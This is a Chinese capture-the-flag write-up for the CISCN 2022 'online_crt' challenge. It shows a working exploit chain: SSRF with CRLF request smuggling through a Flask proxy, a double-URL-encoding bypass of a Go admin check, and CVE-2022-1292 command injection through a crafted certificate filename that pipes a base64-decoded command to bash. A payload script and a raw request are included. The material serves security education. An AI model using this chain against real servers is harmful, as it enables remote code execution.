[CISCN 2022 初赛]online_crt

[CISCN 2022 初赛]online_crt

  • 知识点:SSRF、CVE-2022-1292

1.信息收集

拿到源码后,发现是go和python一起组合成的后端系统,同时可以看出本题的业务是生成ssl证书文件的功能。我们先从flask开始分析,下面只挑函数来分析

python 复制代码
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    ) #key的生成位置,和输入无关
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend()) #会根据输入内容和刚刚的内容生成一串信息
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt" #随机名称(uuid),存放位置是static/crt/
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM)) #根据刚刚的内容写入证书信息
    return crt_name

拿uuid来生成文件名的函数,在/getcrt下可以触发,同时会回显文件名

python 复制代码
@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data) 

有危险函数os.popen,可执行程序为c_rehash,这是整个文件唯一一个命令执行的入口

python 复制代码
@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

一个内网通信服务,这个8887这个数字先记住,估计是在go编写的后端那里还会有这个数字出现。这里有个坑啊,就是他是从form里面获取uri的,也就是post里面的body而不是?uri=xxx这种形式,但是请求方式还是get,我们需要改成post传参然后把POST改成GET即可。

go 复制代码
package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

找到了flask和8887这个端口通信的原因,根目录没啥含义,如果我们是和/admin/rename通信的话,并且c.Request.Host=admin,就能触发刚刚的证书改名业务

2.查找漏洞

做到这里我们就要去搜搜刚刚发现的命令执行是怎么被触发的,https://blog.csdn.net/qq_65010029/article/details/145919402这个博客提供的CVE-2022-1292刚好是我们需要的,归根结底就是通过构造恶意证书文件名即触发rce,那就和我们刚刚的思路串起来了

创建证书->和8887通信->修改证书名->访问/createlink构造rce

3.构造漏洞

创建证书

首先我们随意创建一个证书,然后在路由下获得他的文件名,拿我的来举例

复制代码
static/crt/adfac016-8456-498d-9a77-cb08a5ef9aa3.crt

和8887通信

首先生成payload(用网上师傅的代码https://www.nssctf.cn/note/set/3018

python 复制代码
import urllib.parse
uri = '''/admin%2frename?oldname=9d00f805-2d21-471c-be2b-c9b27f64163d.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

得到的是一个二次url编码的伪报文,进入go后端本身需要一层解码,之后还有一层解码即可绕过RawPath特性。

之后就是在proxy路由下去请求

复制代码
GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28014
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 320

uri=/admin%252frename%3Foldname%3Dadfac016-8456-498d-9a77-cb08a5ef9aa3.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close

出现新文件名代表改名成功

获取flag

访问/createlink这个路由后,我们就可以在static/crt/目录下获取flag了

相关推荐
曲幽10 小时前
不止于JWT:用FastAPI的Depends实现细粒度权限控制
python·fastapi·web·jwt·rbac·permission·depends·abac
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
曲幽1 天前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
曲幽2 天前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全